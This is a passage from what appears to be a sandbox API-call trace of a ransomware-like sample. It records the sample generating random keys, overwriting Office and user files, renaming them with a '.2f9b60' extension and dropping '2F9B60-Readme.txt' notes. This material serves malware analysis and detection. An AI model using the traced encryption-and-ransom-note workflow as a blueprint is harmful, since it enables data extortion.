returned 2 [0162.851] sprintf (in: _Dest=0x42058a18, _Format="%c%c" | out: _Dest="af") returned 2 [0162.851] sprintf (in: _Dest=0x42058a1a, _Format="%c%c" | out: _Dest="6b") returned 2 [0162.851] sprintf (in: _Dest=0x42058a1c, _Format="%c%c" | out: _Dest="fc") returned 2 [0162.851] sprintf (in: _Dest=0x42058a1e, _Format="%c%c" | out: _Dest="77") returned 2 [0162.852] sprintf (in: _Dest=0x42058a20, _Format="%c%c" | out: _Dest="97") returned 2 [0162.852] sprintf (in: _Dest=0x42058a22, _Format="%c%c" | out: _Dest="a6") returned 2 [0162.852] sprintf (in: _Dest=0x42058a24, _Format="%c%c" | out: _Dest="63") returned 2 [0162.852] sprintf (in: _Dest=0x42058a26, _Format="%c%c" | out: _Dest="f0") returned 2 [0162.852] sprintf (in: _Dest=0x42058a28, _Format="%c%c" | out: _Dest="f8") returned 2 [0162.852] sprintf (in: _Dest=0x42058a2a, _Format="%c%c" | out: _Dest="84") returned 2 [0162.852] sprintf (in: _Dest=0x42058a2c, _Format="%c%c" | out: _Dest="b5") returned 2 [0162.852] sprintf (in: _Dest=0x42058a2e, _Format="%c%c" | out: _Dest="43") returned 2 [0162.852] sprintf (in: _Dest=0x42058a30, _Format="%c%c" | out: _Dest="43") returned 2 [0162.852] sprintf (in: _Dest=0x42058a32, _Format="%c%c" | out: _Dest="af") returned 2 [0162.852] sprintf (in: _Dest=0x42058a34, _Format="%c%c" | out: _Dest="a5") returned 2 [0162.852] sprintf (in: _Dest=0x42058a36, _Format="%c%c" | out: _Dest="7f") returned 2 [0162.852] sprintf (in: _Dest=0x42058a38, _Format="%c%c" | out: _Dest="e3") returned 2 [0162.852] sprintf (in: _Dest=0x42058a3a, _Format="%c%c" | out: _Dest="de") returned 2 [0162.852] sprintf (in: _Dest=0x42058a3c, _Format="%c%c" | out: _Dest="3c") returned 2 [0162.852] sprintf (in: _Dest=0x42058a3e, _Format="%c%c" | out: _Dest="94") returned 2 [0162.852] sprintf (in: _Dest=0x42058a40, _Format="%c%c" | out: _Dest="2e") returned 2 [0162.852] sprintf (in: _Dest=0x42058a42, _Format="%c%c" | out: _Dest="32") returned 2 [0162.852] sprintf (in: _Dest=0x42058a44, _Format="%c%c" | out: _Dest="45") returned 2 [0162.852] sprintf (in: _Dest=0x42058a46, _Format="%c%c" | out: _Dest="9f") returned 2 [0162.852] RtlInitAnsiString (in: DestinationString=0x24e7fd08, SourceString="7b379b50af6bfc7797a663f0f884b54343afa57fe3de3c942e32459f" | out: DestinationString="7b379b50af6bfc7797a663f0f884b54343afa57fe3de3c942e32459f") [0162.852] RtlAnsiStringToUnicodeString (in: DestinationString=0x24e7fcd8, SourceString="7b379b50af6bfc7797a663f0f884b54343afa57fe3de3c942e32459f", AllocateDestinationString=1 | out: DestinationString="7b379b50af6bfc7797a663f0f884b54343afa57fe3de3c942e32459f") returned 0x0 [0162.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b868440 [0162.853] RtlFreeAnsiString (AnsiString="7") [0162.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a10) returned 1 [0162.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b830) returned 1 [0162.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4b0) returned 1 [0162.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167700) returned 1 [0162.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0162.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd00) returned 1 [0162.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0162.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0162.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f40) returned 1 [0162.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fb0) returned 1 [0162.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fe0) returned 1 [0162.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x42c221b0 [0162.856] wcscat (in: _Dest=0x42c221b0, _Source="7b379b50af6bfc" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\7b379b50af6bfc") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\7b379b50af6bfc" [0162.856] wcscat (in: _Dest=0x42c221b0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\7b379b50af6bfc.2f9b60") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\7b379b50af6bfc.2f9b60" [0162.856] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\MSN Websites\\7b379b50af6bfc.2f9b60", NtPathName=0x24e7fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\MSN Websites\\7b379b50af6bfc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0162.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050c9d0 [0165.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c9d0) returned 1 [0165.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1c520) returned 1 [0165.214] NtQueryInformationFile (in: FileHandle=0x15f8, IoStatusBlock=0x24e7fd18, FileInformation=0x24e7fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24e7fd18, FileInformation=0x24e7fd28) returned 0x0 [0165.214] NtSetInformationFile (FileHandle=0x15f8, IoStatusBlock=0x24e7fd18, FileInformation=0x24e7fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868440) returned 1 [0165.751] FlushFileBuffers (hFile=0x15f8) returned 1 [0166.258] CloseHandle (hObject=0x15f8) returned 1 [0184.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b868040 [0184.085] wcscpy (in: _Dest=0x1b868040, _Source="C:\\Users\\Default\\Favorites\\MSN Websites\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0184.085] wcscat (in: _Dest=0x1b868040, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" [0184.085] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\msn websites\\2f9b60-readme.txt")) returned 0xffffffff [0190.819] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\msn websites\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1910 [0216.618] WriteFile (in: hFile=0x1910, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x24e7fbd0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x24e7fbd0*=0xba9, lpOverlapped=0x0) returned 1 [0218.217] CloseHandle (hObject=0x1910) returned 1 [0223.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868040) returned 1 [0223.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867440) returned 1 Thread: id = 853 os_tid = 0x548 [0101.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl")) returned 0x20 [0101.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", dwFileAttributes=0x20) returned 1 [0101.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1514 [0101.012] GetFileSizeEx (in: hFile=0x1514, lpFileSize=0x2485fe40 | out: lpFileSize=0x2485fe40*=50556) returned 1 [0101.012] SetFilePointerEx (in: hFile=0x1514, liDistanceToMove=0xc578, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.012] ReadFile (in: hFile=0x1514, lpBuffer=0x2485fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2485fe08, lpOverlapped=0x0 | out: lpBuffer=0x2485fdc0*, lpNumberOfBytesRead=0x2485fe08*=0x4, lpOverlapped=0x0) returned 1 [0101.661] SetFilePointerEx (in: hFile=0x1514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202601d0 [0101.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f10 [0101.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f40 [0101.661] NtQuerySystemTime (in: CurrentTime=0x2485fd00 | out: CurrentTime=0x2485fd00*=132462177071794000) returned 0x0 [0101.661] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x4cee74e0 [0101.661] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x2000988c [0101.661] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x5f4e711d [0101.661] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x6fd7dec0 [0101.661] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x7c564901 [0101.661] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x4338f7b5 [0101.661] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x573b096a [0101.661] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x70669633 [0101.661] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0xfe0b939 [0101.661] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x762d5239 [0101.661] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x6feedfa3 [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x32cb4101 [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x6f5e81dd [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x7713ed81 [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x5b9acfb0 [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x7656c74f [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x14c1895 [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x4cb2fdf1 [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x45731af9 [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x27220190 [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x669c3bbc [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x12122390 [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x3ab97fa1 [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x1aae2dee [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x1aabc209 [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x5ef50669 [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x48841ab0 [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x67a09f2c [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x4ab51c56 [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x6232f9bf [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x7fb1c51b [0101.662] RtlRandomEx (in: Seed=0x2485fcf0 | out: Seed=0x2485fcf0) returned 0x115c154b [0101.678] SetFilePointerEx (in: hFile=0x1514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.678] ReadFile (in: hFile=0x1514, lpBuffer=0x20455b00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2485fd60, lpOverlapped=0x0 | out: lpBuffer=0x20455b00*, lpNumberOfBytesRead=0x2485fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0101.737] SetFilePointerEx (in: hFile=0x1514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0101.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0101.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f80 [0101.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263f80) returned 1 [0101.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202db560 [0101.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f80 [0101.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fb0 [0101.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fb0) returned 1 [0101.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0101.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0101.738] WriteFile (in: hFile=0x1514, lpBuffer=0x202db560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2485fd60, lpOverlapped=0x0 | out: lpBuffer=0x202db560*, lpNumberOfBytesWritten=0x2485fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0159.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202db560) returned 1 [0159.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20455b00) returned 1 [0159.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cdb4880 [0159.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0159.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8677c0 [0159.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618b0 [0159.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202618b0) returned 1 [0159.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202618b0 [0159.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261310 [0159.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a00b0 [0159.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a00b0) returned 1 [0159.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8677c0) returned 1 [0159.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0159.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x42055600 [0159.667] SetFilePointerEx (in: hFile=0x1514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0159.667] WriteFile (hFile=0x1514, lpBuffer=0x42055600, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2485fe10, lpOverlapped=0x0) [0199.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0199.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0199.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e850 [0199.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e850) returned 1 [0199.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x42c0f0e0 [0199.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e850 [0199.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e8e0 [0199.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e8e0) returned 1 [0199.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0199.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0199.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x42d2e8e0 [0199.932] sprintf (in: _Dest=0x42d2e8e0, _Format="%c%c" | out: _Dest="fb") returned 2 [0199.932] sprintf (in: _Dest=0x42d2e8e2, _Format="%c%c" | out: _Dest="dc") returned 2 [0199.932] sprintf (in: _Dest=0x42d2e8e4, _Format="%c%c" | out: _Dest="d2") returned 2 [0199.932] sprintf (in: _Dest=0x42d2e8e6, _Format="%c%c" | out: _Dest="7f") returned 2 [0199.932] sprintf (in: _Dest=0x42d2e8e8, _Format="%c%c" | out: _Dest="40") returned 2 [0199.932] sprintf (in: _Dest=0x42d2e8ea, _Format="%c%c" | out: _Dest="76") returned 2 [0199.932] sprintf (in: _Dest=0x42d2e8ec, _Format="%c%c" | out: _Dest="08") returned 2 [0199.932] sprintf (in: _Dest=0x42d2e8ee, _Format="%c%c" | out: _Dest="85") returned 2 [0199.932] sprintf (in: _Dest=0x42d2e8f0, _Format="%c%c" | out: _Dest="58") returned 2 [0199.932] sprintf (in: _Dest=0x42d2e8f2, _Format="%c%c" | out: _Dest="4d") returned 2 [0199.932] sprintf (in: _Dest=0x42d2e8f4, _Format="%c%c" | out: _Dest="b2") returned 2 [0199.932] sprintf (in: _Dest=0x42d2e8f6, _Format="%c%c" | out: _Dest="e7") returned 2 [0199.932] sprintf (in: _Dest=0x42d2e8f8, _Format="%c%c" | out: _Dest="d5") returned 2 [0199.932] sprintf (in: _Dest=0x42d2e8fa, _Format="%c%c" | out: _Dest="96") returned 2 [0199.932] RtlInitAnsiString (in: DestinationString=0x2485fe88, SourceString="fbdcd27f40760885584db2e7d596" | out: DestinationString="fbdcd27f40760885584db2e7d596") [0199.932] RtlAnsiStringToUnicodeString (in: DestinationString=0x2485fe58, SourceString="fbdcd27f40760885584db2e7d596", AllocateDestinationString=1 | out: DestinationString="fbdcd27f40760885584db2e7d596") returned 0x0 [0199.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82bf40 [0199.933] wcscat (in: _Dest=0x431d9770, _Source="fbdcd27" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082\\fbdcd27") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082\\fbdcd27" [0199.933] wcscat (in: _Dest=0x431d9770, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082\\fbdcd27.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082\\fbdcd27.2f9b60" [0199.933] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\fbdcd27.2f9b60", NtPathName=0x2485fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\fbdcd27.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431f3590 [0206.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f3590) returned 1 [0206.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1c750) returned 1 [0206.096] NtQueryInformationFile (in: FileHandle=0x1514, IoStatusBlock=0x2485fe98, FileInformation=0x2485fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2485fe98, FileInformation=0x2485fea8) returned 0x0 [0206.096] NtSetInformationFile (FileHandle=0x1514, IoStatusBlock=0x2485fe98, FileInformation=0x2485fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0215.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431d9770) returned 1 [0215.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf40) returned 1 [0215.953] FlushFileBuffers (hFile=0x1514) returned 1 [0215.956] CloseHandle (hObject=0x1514) returned 1 [0219.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86a2c0 [0219.024] wcscpy (in: _Dest=0x1b86a2c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\3082\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082\\" [0219.024] wcscat (in: _Dest=0x1b86a2c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082\\2F9B60-Readme.txt" [0219.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\2f9b60-readme.txt")) returned 0xffffffff [0219.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cf4 [0224.048] WriteFile (in: hFile=0x1cf4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2485fd50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2485fd50*=0xba9, lpOverlapped=0x0) returned 1 [0225.402] CloseHandle (hObject=0x1cf4) returned 1 [0226.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a2c0) returned 1 [0226.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79def0) returned 1 Thread: id = 854 os_tid = 0x418 [0101.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm")) returned 0x20 [0102.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", dwFileAttributes=0x20) returned 1 [0102.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1630 [0102.455] GetFileSizeEx (in: hFile=0x1630, lpFileSize=0x249bf940 | out: lpFileSize=0x249bf940*=1231) returned 1 [0102.456] SetFilePointerEx (in: hFile=0x1630, liDistanceToMove=0x4cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.456] ReadFile (in: hFile=0x1630, lpBuffer=0x249bf8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x249bf908, lpOverlapped=0x0 | out: lpBuffer=0x249bf8c0*, lpNumberOfBytesRead=0x249bf908*=0x4, lpOverlapped=0x0) returned 1 [0102.520] SetFilePointerEx (in: hFile=0x1630, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859550 [0102.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0102.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a600 [0102.520] NtQuerySystemTime (in: CurrentTime=0x249bf800 | out: CurrentTime=0x249bf800*=132462177080374000) returned 0x0 [0102.520] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x80908c [0102.520] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0xf93f9df [0102.520] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x373b744a [0102.520] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x73000d56 [0102.520] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x68af5b4d [0102.520] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x366cf6f6 [0102.520] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x1dd1d288 [0102.520] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x196040a3 [0102.520] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x4aa30945 [0102.520] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0xaec9329 [0102.520] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x40b09670 [0102.520] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x314e61b3 [0102.520] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x61e893dd [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x7dfd3abf [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x599c052e [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x3748425f [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x6d1b3cc1 [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x49b6417 [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x456e25a6 [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x6e773849 [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x4c51675e [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x1e415a0e [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x788f6636 [0102.521] RtlRandomEx (in: Seed=0x249bf7f0 | out: Seed=0x249bf7f0) returned 0x1ec2bd00 [0102.521] RtlRandomEx (in: 